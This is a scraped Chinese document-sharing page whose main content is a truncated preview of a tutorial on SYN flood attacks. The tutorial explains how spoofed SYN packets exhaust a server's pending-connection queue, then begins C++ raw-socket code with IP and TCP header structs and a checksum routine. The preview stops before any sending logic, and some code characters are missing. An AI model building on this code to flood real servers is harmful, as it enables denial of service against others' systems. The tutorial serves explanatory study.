- 1、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
SYNFLOOD简单分析及实现
SYN_FLOOD 简单分析及实现 声明: 此程序有一定攻击性,请只供学习之用,不要危害祖国的网络。如发动攻击一切后果。 网络上发送数据包的攻击有多种(如ICMP_FLOOD, 碎片攻击,等)其中有一种就是 利用TCP 协议三次 握手的攻击(SYN_FLOOD)。下面 就简单 讲述一下 TCP 的三次 握手。 现在 有A,B 两台 机器,其中B是SERVER.A是CLIENT. 首先 A 发送送一个 带有SYN标记(带起始序列号)的数据报 给B。 然后 B 接收, 然后 发送一个ACK+SYN(带B机的起始序列号 和 A的确认号)给A。 最后 A 再发送 一个带序列号 和 确认号的 数据报 给 B。 此时 连接 完成。 利用这个原理,如果A机在第一步伪装大量不存在的机器,给B发送大量的SYN包,那么B会以为有很多合法的机器请求连接,然后一一回应。然后等待第三次 确认建立连接。那么大量等待连接的请求被保留在栈中。一般服务器等待2分钟还没等到第三次握手,那么就会从等待连接的栈中删除连接请求。如果A的SYN发送得足够快,合法用户连接不上,那么服务器也会花费大量的资源来维护栈。从而照成D.o.S攻击。 通过RAW_SOCKET,只要你是管理员,就可以伪造IP和TCP头部,发虚假源地址的SYN请求。 简单实现如下: /* FLOOD.CPP*/ #include stdio.h #include winsock2.h #include ws2tcpip.h #include windows.h #include time.h #include dos.h #pragma comment(lib, ws2_32.lib) #define MAX_RECEIVEBYTE 255 typedef struct ip_head //定义IP首部 { unsigned char h_verlen; //4位首部长度,4位IP版本号 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度(字节) unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 (如SYN,ACK,等) unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议 (如ICMP,TCP等) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 }IPHEADER; typedef struct tcp_head //定义TCP首部 { USHORT th_sport; //16位源端口 USHORT th_dport; //16位目的端口 unsigned int th_seq; //32位序列号 unsigned int th_ack; //32位确认号 unsigned char th_lenres; //4位首部长度/6位保留字 unsigned char th_flag; //6位标志位 USHORT th_win; //16位窗口大小 USHORT th_sum; //16位校验和 USHORT th_urp; //16位紧急数据偏移量 }TCPHEADER; typedef struct tsd_head //定义TCP伪首部 { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; char ptcl; //协议类型 unsigned short tcpl; //TCP长度 }PSDHEADER; //CheckSum:计算校验和的子函数 USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size 1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size) { cksum += *(UCHAR*)buffer; } cksum = (cksum 16) + (cksum 0xffff); cksum += (cksum 16); return (USHORT)(~cksum); } void usage() { printf(******************************
您可能关注的文档
- SK水环式真空泵的工作原理.doc
- SLBL01电液比例液压控制综合实验台.doc
- SMC速度控制阀AS系列产品介绍.doc
- SMG3000三相钳形相位伏安表使用方法.doc
- SMT不良分析2.doc
- SMT印刷模板制作技术发展趋势激光切割.doc
- SMT标准化与管理.doc
- SMW工法的施工技术.doc
- SO2的实验探究.doc
- Socket的功能和套接字的三种类型.doc
- 2025年锂电池隔膜涂覆技术对电池生产成本的降低与优化.docx
- 深基坑安全监理规范标准版本.docx
- 2025年锂电池隔膜涂覆技术对电池性能的全面提升策略.docx
- 黑龙江哈尔滨市事业单位考试(面试题)模拟精练试题详解.docx
- 2025年锂电池隔膜涂覆技术革新,推动电池产业迈向高效化.docx
- 2025年锂电池隔膜涂覆技术对电池性能稳定性的提升.docx
- 餐饮服务基本技能与职业素养提升培训.docx
- 2025年锂电池隔膜涂覆技术革新,引领产业升级报告.docx
- 学校防空疏散实况演练与应急预案效果评估.docx
- 2025年锂电池隔膜涂覆工艺在新能源电动汽车电池安全性能提升中的创新研究.docx
文档评论(0)